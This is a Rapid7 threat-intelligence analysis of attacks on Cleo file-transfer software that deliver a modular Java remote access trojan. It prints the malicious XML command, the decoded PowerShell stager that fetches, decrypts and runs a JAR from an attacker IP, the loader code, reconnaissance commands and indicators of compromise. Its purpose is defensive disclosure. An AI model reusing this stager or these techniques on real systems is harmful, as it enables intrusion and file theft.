Last updated at Wed, 11 Dec 2024 19:26:08 GMT
Many thanks to Rapid7 MDR and incident response teams for their contributions to this analysis.
While investigating incidents related to Cleo software exploitation, Rapid7 Labs and MDR observed a novel, multi-stage attack that deploys an encoded Java Archive (JAR) payload. Our investigation revealed that the JAR file was part of a modular, Java-based Remote Access Trojan (RAT) system. This RAT facilitated system reconnaissance, file exfiltration, command execution, and encrypted communication with the attacker’s command-and-control (C2) server. Its modular architecture includes components for dynamic decryption, network management, and staged data transfer.
It’s worthwhile to note that this isn’t necessarily the only payload that has or will be deployed in attacks targeting Cleo software — it’s entirely possible an alternate payload could be leveraged. This underscores the importance of timely detection and response capabilities, as well as the critical role of monitoring assets that may be impacted by unknown zero-day threats.
At a high level, the attack flow can be visualized like so:
As Huntress pointed out in their blog on this threat campaign, part of the attack chain involves uploading and executing an XML file as part of a ZIP. When analyzing the XML file that contains the PowerShell code, we looked at the code to understand how the code would trigger in line with the known CVE (CVE-2024-50623) and the new CVE (still pending) for the unauthenticated malicious hosts vulnerability in Cleo software.
The XML snippet appears to define a "Host" and "Mailbox" configuration in Cleo Integration Suite (e.g., Harmony, VLTrader, or LexiCom). Cleo software often uses XML-based configuration files for trading partner setups, hosts, mailboxes, and scheduled actions or commands. Each <Host> element represents a communication endpoint, and each <Mailbox> often represents a sub-endpoint or logical folder.
The <Action> elements define which tasks (commands, scripts, or transfers) should be performed. Looking at the code of our XML, we observed a suspicious element.
Under <Mailbox> there is an <Action> element with actiontype="Commands". Inside this action, there's a <Commands> tag that runs:
SYSTEM cmd.exe /c "powershell -NonInteractive -EncodedCommand <base64_data>" > webserver/temp/webserver-<GUID>.swp
The <Commands> directive is invoking cmd.exe which runs PowerShell with an encoded command. The command is outputting to a .swp file, possibly to hide or store results locally.
By embedding this script within the <Action> element of the XML, if the CLEO system imports this configuration and executes the defined action by combining the vulnerability mentioned in CVE-2024-50623, the malicious code will run on the server. This could completely compromise the system running CLEO, given that CLEO often runs with significant privileges and access to internal systems and file shares.
Analyzing the malicious PowerShell script content
The script in question was originally invoked as remote code execution (RCE) during suspected CVE-2024-50623 exploitation:
powershell -NonInteractive -EncodedCommand <base64_string>
This is a common technique used by attackers to obfuscate their malicious code. Decoding the Base64 string reveals a PowerShell snippet that:
- Establishes a TCP connection to a suspicious external host (185.181.230.103) on port 443. (See additional external host indicators in the IOCs section.)
- Retrieves and decrypts data from the remote server using a custom XOR-based routine.
- Writes the decrypted output as a JAR file named cleo.2853.
- Executes the malicious JAR using the embedded Java runtime of Cleo LexiCom (jre\bin\java.exe -jar cleo.2853).
Step-by-step analysis
1. Network connection setup
The script begins by creating a Net.Sockets.TcpClient object and connecting it to the remote server:
$c = New-Object Net.Sockets.TcpClient("185.181.230.103", 443)
$s = $c.GetStream()
$s.ReadTimeout = 10000
$w = New-Object System.IO.StreamWriter $s
A StreamWriter $w is then created, allowing the script to send initial data to the server. The malware sends the “TLS v3 <string.>” and processes the response. This serves as a form of handshake or protocol initialization.
2. XOR decryption setup
Before reading any payload from the server, the script sets up key variables for decrypting data:
$k = 112,171,142,211,15,25,18,201,93,185,21,234,208,30,189,187
$a = New-Object System.Byte[] 9999
$f = "cleo.2853"
$t = New-Object IO.FileStream($f, [IO.FileMode]::Create)
$n = $g = 0
- $k is an array of 16 bytes used as part of the XOR encryption key.
- $a is a large buffer (9999 bytes) to hold data read from the stream.
- $f is the output file that will eventually contain the decrypted payload.
- $t is a file stream for writing data to disk.
3. Reading and decrypting the payload
The script enters a loop, reading chunks of data and decrypting each byte with a custom XOR routine:
while(1){
$r = $s.Read($a,0,9999)
if($r -le 0){break}
for($i=0;$i -lt $r;$i++){
$j = $n++ -band 15
$a[$i] = $a[$i] -bxor $k[$j] -bxor $g
$g = ($g + $a[$i]) -band 255
$k[$j] = ($k[$j] + 3) -band 255
}
$t.Write($a,0,$r)
}
This code does several things:
- It continuously reads data from the remote server into $a.
- For each byte, it calculates an index $j into $k (cycling through the key bytes).
- It XORs the received byte with $k[$j] and a running state variable $g.
- $g and $k[$j] evolve dynamically, meaning the key changes with every byte processed, making static detection harder.
- Decrypted bytes are then written directly into the file cleo.2853.
The number behind the “cleo.*” differs in the cases we observed. By the end of this loop, the attacker’s encrypted payload is stored locally as a decrypted file.
4. Final steps: Executing the malicious JAR
After fetching and decrypting the data, the script closes all streams and sets some environment variables:
$t.Close()
$w.Close()
$s.Close()
$env:QUERY="...185.181.230.103;135.237.120.41;"
$env:F=$f
The $env:QUERY variable appears to include additional IP addresses and contains the AES key used to decrypt the next stage and the string to send to the C2 server to receive the next payload. Finally, the script runs the malicious JAR file:
Start-Process -WindowStyle Hidden -FilePath jre\bin\java.exe -ArgumentList "-jar $f"
This leverages the Cleo environment’s embedded Java runtime. Since Cleo’s file transfer products come bundled with their own Java environment, the attackers don’t need to rely on a system-wide installation — they can simply run their malicious JAR directly. In one of our IR cases, the “cleo.xxxx” file was written to the C:\VLTrader\ directory.
Inside the JAR file
The core functionality revolves around a custom class loader named "start".
Instead of loading classes from the file system, this loader accepts a byte array representing a compressed archive of class files. It then extracts each entry and stores them in a map, ready to be defined as Java classes on demand.
What does this custom class loader do?
1. Extracts classes from a byte array: The constructor of the start class takes a byte array (like a JAR) and reads the class using a ZipInputStream. Each entry is unpacked and stored in a map keyed by the entry name. For example:
ZipInputStream zis = new ZipInputStream(new ByteArrayInputStream(byteArray));
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
int read;
while ((read = zis.read(buffer)) > 0) {
bos.write(buffer, 0, read);
}
cs.put(entry.getName(), bos.toByteArray());
}
Defining Classes at Runtime: Later, when a class is requested, the findClass method checks the map. If found, it uses defineClass to load that class directly from the in-memory bytes:
if (cs.containsKey(className)) {
byte[] classData = (byte[]) cs.get(className);
return defineClass(className, classData, 0, classData.length);
2. Fetches and decrypts class data remotely. The main method doesn’t just run local code — it also does the following:
- Reads configuration and keys from environment variables.
- Connects to a remote host over port 443 and sends a "TLS v3" handshake-like message.
- Receives encrypted data, which it then decrypts using AES keys derived from the environment-provided values.
- Once decrypted, this data is treated like a JAR file, passed into a new start instance, and thus new classes are loaded at runtime.
3. Executes a specific class (Cli): With the new classes loaded, the code uses reflection to instantiate a particular class named "Cli" and invoke its constructor.
This mechanism allows the JAR to remain small and stealthy, as it doesn't contain all its logic up front. Instead, it fetches critical code at runtime, decrypts it, and executes it dynamically. But it didn't stop here — after executing this first JAR file, which acts as a loader, it downloads a zip file that contains multiple JAR files:
File name | MD5 |
---|---|
Cli | fa0ffca3597af31fc196ca27283aa038 |
Dwn | 510a7fa9d425f1c3a38ad81d813b3f17 |
DwnLevel | 7dcaffc9c26fe9e08e9b66e05c644cfc |
Mos | ee7acd7a8a5795308942f094c950de6f |
Proc | 37a761f4d02577cf6789676f87cb9fc6 |
ScSlot | 6ff85e7bec211869073b969dbd10c8eb |
SFile | ca3de6f055f94acc87c6d335d9cc5c04 |
Slot | d924ffd1f2952a03da29c0a7a33e6a54 |
SrvSlot | bcc1bf75e0be3efabbd616cc8cfa8c35 |
Overall this is how the modules work together and what their function is:
The Cli class appears to be a key component of a remote backdoor mechanism. On startup, it determines the operating system and sets flags accordingly before attempting to connect to a remote host over port 443 using Java’s non-blocking I/O. Once connected, it can manage data streams via asynchronous event loops, handle received data, and potentially issue commands. After initialization, the code instructs the system to delete its own initial file to remove evidence of its presence.
In Rapid7 MDR investigations into exploitation of Cleo software, we observed commands being executed that we would categorize as reconnaissance attempts.
The DWN class appears to facilitate the packaging and transmission of files from the local system to a remote server. It assembles files (and directories) into a ZIP archive on the fly, splitting them into multiple ZIP chunks if they exceed a certain size threshold. Using a SrvSlot reference, it sends compressed file data over a network channel, carefully managing buffers and limiting throughput to avoid overwhelming the connection. The code iterates through directories, queues files, and processes them incrementally, updating statistics and retrying if conditions are not ideal. Through this mechanism, this class effectively automates and streamlines the mass transfer of local files, hinting at a data exfiltration or remote backup process. It’s designed to run quietly in the background, handle large file sets, and provide periodic progress updates to its server counterpart.
The DwnLevel class is a simple helper structure that represents a single level in a file traversal hierarchy. It holds an array of file objects, along with an index and a state variable to track the current processing position. As the Dwn class iterates through directories, the DwnLevel Java class instance keeps track of which files have been processed and which remain, helping the file packaging and transfer process proceed smoothly through potentially nested directories.
The Mos class acts as a custom output stream for sending ZIP data through Dwn. Instead of writing to disk, it buffers data in memory, attaches metadata like the job ID and packet offsets, and then hands the chunks off to Dwn to send out. This setup allows code that writes ZIP entries to operate as if it were writing to a normal output stream, while the Mos and Dwn classes handle the network transmission details behind the scenes.
Proc is a thread that runs external commands on the system, captures their output, and sends it back through SrvSlot. It can launch interactive shells, parse configuration files, and handle input given before the process starts.
In the code of this class, we also can discover that it is cross platform designed, either executing a cmd (Windows) or bash (*nix) shell:
ScSlot manages a network connection for a specific channel. It handles connecting, reading data, and relaying it to the SrvSlot class. If the connection fails or no data is received, it signals the server to close the channel. Its tick method processes incoming data in chunks to ensure smooth communication.
The SFile class handles file reading and writing operations. It can both read from an existing file or write to a new file, depending on the flags provided. The class tracks the file size, saved size and handles errors by setting status messages.
The Slot class manages the network connection using the Java network IO class. It handles connecting, reading, and writing, ensuring a smooth data transfer.
Last but not least, since it is a core component of this Java RAT, is the SrvSlot class. It interacts with other classes as described before and is the central node for handling encrypted communications and data transfer — it handles the ZIP transfer traffic. Besides traffic handling, a small component in the code of this class appears to be for debugging purposes (i.e., providing diagnostics and session statistics).
Overall this set of Java classes provide a modular multi-stage system (Java-RAT) designed to communicate with a C2, has file-transfer and management functionality, can execute commands and applies packet level encryption/decryption.
Indicators of compromise
Network IOCs:
89.248.172[.]139
176.123.10[.]115
185.162.128[.]133
185.163.204[.]137
185.181.230[.]103
Post-exploitation behavior
In multiple attack chains, after initial exploitation, the adversary executed the following enumeration commands via cmd
to gather user, group and system information from the impacted system and display domain trust relationships.
systeminfo
net group /domain
whoami
wmic logicaldisk get name,size
nltest /domain_trusts
Rapid7 also observed post-exploitation activity in the form of an "OverPass-The-Hash" attack, in which the adversary leverages the NTLM hash of an account to obtain a Kerberos ticket that can be used to access additional network resources within the impacted environment.
MITRE ATT&CK Enterprise Techniques
Initial access | Exploit Public-Facing Application (T1190) |
Execution | Command and Scripting Interpreter (T1059) |
Discovery | System Owner/User Discovery (T1033) |
System Information Discovery (T1082) | |
Domain Trust Discovery (T1482) | |
Permission Groups Discovery (T1069) | |
Lateral movement | Use Alternate Authentication Material: Pass the Hash (T1550/002) |